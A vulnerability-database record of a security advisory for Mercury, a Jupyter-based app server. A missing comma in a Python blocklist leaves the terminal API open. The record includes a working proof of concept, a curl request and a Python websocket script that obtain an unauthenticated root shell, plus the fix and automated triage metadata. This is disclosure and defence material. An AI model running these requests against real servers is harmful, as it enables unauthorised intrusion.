{"id":"CVE-2026-111057","kind":"vulnerability","aliases":["CVE-2026-111057","GHSA-f8c7-rwf9-fmgm"],"related":[],"title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"### Summary\nA missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.\n\n### Details\nThe blocklist in `mercury_app/block_handler.py` is defined as:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\"\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```\nThe missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:\n\n/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)\n/api/shutdown(?:/.`*`)?\n/files(?:/.`*`)?\n\nA direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter\nServer's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.\n\n### PoC\nTesting was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default\nconfiguration.\n \n**Step 1 - spawn a terminal:**\n\n\n```\ncurl -i -X POST http://localhost:8888/api/terminals\n```\nResponse: `{\"name\": \"1\", \"last_activity\": \"...\"}`\n\n**Step 2 - connect to the terminal and execute commands:**\n\n\n```\npython3 -c \"\nimport websocket, json, time\n\nws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')\nprint(ws.recv())\n\nws.send(json.dumps(['stdin', 'whoami && id\\n']))\ntime.sleep(1)\n\nws.settimeout(2)\ntry:\n    while True:\n        print(ws.recv())\nexcept Exception:\n    pass\n\"\n```\n\n\nObserved output:\n\n```\n[\"setup\", {}]\n[\"stdout\", \"# \"]\n[\"stdout\", \"whoami && id\\r\\n\"]\n[\"stdout\", \"root\\r\\n\"]\n[\"stdout\", \"uid=0(root) gid=0(root) groups=0(root)\\r\\n# \"]\n```\n\n\nConfirms full, interactive root shell access with no authentication or prior access of any kind.\n\n\n### Impact\n- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).\n- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.\n- **Availability:** attacker can shut down or crash the server/container.\n- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.\n\nExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).\n\n### Fix\nAdd the missing comma so `/api/terminals` becomes an independent blocklist rule:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\",\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```","summary":"Mercury (a Python notebook/app server built on Jupyter) has a missing comma in its request blocklist, so /api/terminals is not blocked. An unauthenticated network attacker can open a terminal and get an interactive root shell on the host.","severity":"critical","cvss":10.0,"epss":0.004430000204592943,"exploited":false,"exploited_at":null,"products":[{"name":"mercury","fixed":["3.2.4"],"affected":">= 3.0.0, <= 3.2.3","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-185","cwe-284","docker","jupyter","mercury","python","self-hosted"],"not_affected_if":["auth-required","default-config","managed-hosting"],"how_to_check":"Check the installed version: pip show mercury; affected if 3.0.0 through 3.2.3. Look for BLOCKED_PATTERNS in mercury_app/block_handler.py and see whether '/api/terminals' sits on its own line with a trailing comma.\nTest from another machine: curl -i -X POST http://<host>:8888/api/terminals (a JSON response with a 'name' field means exposed).","fix":"Upgrade the mercury package to 3.2.4 or later.\nUntil then, block /api/terminals and /terminals at the reverse proxy or firewall, and do not expose the port publicly.","status":"open","published_at":"2026-10-19T16:17:03+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:56:25+00:00","updated_at":"2026-10-23T21:57:18+00:00","category":"ai-tooling","confidence":0.9,"triage":{"at":"2026-10-23T20:56:25Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade the mercury package to 3.2.4 or later.\nUntil then, block /api/terminals and /terminals at the reverse proxy or firewall, and do not expose the port publicly.","reach":"internet","impact":"high","summary":"Mercury (a Python notebook/app server built on Jupyter) has a missing comma in its request blocklist, so /api/terminals is not blocked. An unauthenticated network attacker can open a terminal and get an interactive root shell on the host.","category":"ai-tooling","who_cares":["mercury","python","jupyter","self-hosted","docker"],"confidence":0.9,"needs_auth":"no","worst_case":"Unauthenticated attacker gets root shell on host, can read secrets and modify files.","analyst_note":"Confirm the 3.2.4 fix commit and whether 'not_affected_if' applies to deployments behind authentication, via GHSA-f8c7-rwf9-fmgm.","how_to_check":"Check the installed version: pip show mercury; affected if 3.0.0 through 3.2.3. Look for BLOCKED_PATTERNS in mercury_app/block_handler.py and see whether '/api/terminals' sits on its own line with a trailing comma.\nTest from another machine: curl -i -X POST http://<host>:8888/api/terminals (a JSON response with a 'name' field means exposed).","needs_analyst":true,"not_affected_if":["managed-hosting","auth-required","default-config"],"user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000679,"input_tokens":4079,"output_tokens":543,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-111057':13A,21A '-185':27B '-2026':12A,20A '-284':29B '/api/shutdown':138C,175C,458C '/api/terminals':7A,54B,94C,136C,168C,181C,439C,456C '/deploy/dockerfile/),':240C '/files':140C,176C,460C '/lab':131C,167C,451C '0':317C,320C,323C '1':247C,259C,291C '2':263C,293C '3':188C '3.2.3':243C '8888/api/terminals':256C '8888/terminals/websocket/1':281C 'access':8A,211C,224C,332C,338C,346C,354C,425C 'account':218C 'activ':261C 'actual':159C 'add':434C 'addit':424C 'ai':24B 'ai-tool':23B 'api':129C,204C,449C 'api/settings':133C,453C 'api/translations':134C,454C 'app/block_handler.py':81C,121C 'attack':61B,101C,362C,376C,395C 'authent':217C,335C,431C 'avail':375C 'becom':440C 'block':57B,83C,125C,163C,195C,445C 'blocklist':52B,88C,118C,189C,443C 'built':42B,201C 'built-in':200C 'bypass':10A 'c':272C 'caus':86C,151C 'client':408C 'code':4A 'comma':48B,78C,143C,437C 'command':270C 'confidenti':343C 'configur':245C 'confirm':327C 'connect':215C,264C,279C 'control':9A,426C 'cover':92C 'crash':381C 'curl':251C 'cve':11A,19A 'cwe':26B,28B 'data':357C 'default':244C 'defin':123C 'delet':366C 'deploy':237C,422C 'detail':116C 'direct':178C 'docker':30B,236C 'endpoint':95C 'environ':358C 'except':299C,300C 'execut':5A,269C 'exist':223C 'exploit':404C 'extens':132C,452C 'f8c7':16A 'fail':90C 'file':349C,368C 'firewal':432C 'first':146C,170C 'fix':433C 'fmgm':18A 'foothold':393C 'full':105C,328C,344C 'get':67B 'ghsa':15A 'ghsa-f8c7-rwf9-fmgm':14A 'gid':319C 'group':322C 'host':36B,74B,113C,401C 'id':288C,308C 'impact':342C 'import':273C 'includ':369C,415C 'independ':442C 'integr':361C 'interact':69B,106C,329C 'internet':418C 'join':173C 'json':275C 'json.dumps':285C 'jupyt':31B,44B,197C 'jupyterlab':127C,447C 'kind':341C 'last':260C 'later':384C 'level':109C 'like':165C 'line':150C,172C 'list':85C,160C 'local':235C 'localhost':255C,280C 'look':164C 'match':184C 'mercuri':1A,32B,37B,80C,115C,120C,226C,241C,351C,413C 'mercury':22A 'merg':154C 'miss':47B,77C,142C,436C 'modifi':364C 'movement':385C 'n':289C,310C,314C,326C 'name':258C 'network':60B,403C,407C 'notebook':355C,370C 'notebook/app':40B 'observ':302C 'open':63B 'os':108C,209C 'os-level':107C 'output':303C 'pass':301C 'pattern':84C,126C,446C 'perform':232C 'poc':229C 'post':254C 'pre':222C 'pre-exist':221C 'print':282C,297C 'prior':337C 'process':352C 'proxi':430C 'public':417C 'python':33B,39B,152C 'python3':271C 'r':130C,135C,137C,139C,309C,313C,325C,450C,455C,457C,459C 'reach':196C,411C 'reachabl':398C 'read':345C 'real':208C 'remot':3A 'request':51B,179C 'requir':228C 'respons':257C 'result':98C 'revers':429C 'reverse-proxi':428C 'root':70B,312C,318C,321C,324C,330C 'rule':156C,190C,444C 'run':114C 'runmercury.com':239C 'runmercury.com/deploy/dockerfile/),':238C 'rwf9':17A 'second':149C 'secret':360C 'self':35B 'self-host':34B 'serv':371C 'server':41B,198C,414C 'server/container':383C 'session':219C 'setup':304C 'shell':71B,110C,210C,331C,387C 'shut':378C 'spawn':103C,206C,248C 'stdin':286C 'stdout':305C,306C,311C,315C 'step':246C,262C 'summari':75C 'system':397C 'termin':65B,203C,250C,267C 'test':230C 'therefor':157C,193C 'time':276C 'time.sleep':290C 'togeth':174C 'tool':25B 'tri':294C 'true':296C 'two':171C 'ui':128C,448C 'uid':316C 'unauthent':2A,59B,100C 'upload':356C 'use':390C 'user':374C 'variabl':359C 'version':242C 'vpn':427C 'websocket':214C,274C 'websocket.create':278C 'whoami':287C,307C 'without':423C 'ws':277C 'ws.recv':283C,298C 'ws.send':284C 'ws.settimeout':292C 'x':253C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T16:17:03+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-f8c7-rwf9-fmgm","url":"https://github.com/advisories/GHSA-f8c7-rwf9-fmgm","severity":"critical","published_at":"2026-10-19T17:00:54+00:00","modified_at":"2026-10-19T17:00:55+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-111057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111057","severity":null,"published_at":"2026-10-19T16:17:03+00:00","modified_at":"2026-10-19T21:14:14+00:00","first_seen_at":"2026-10-23T21:57:18+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}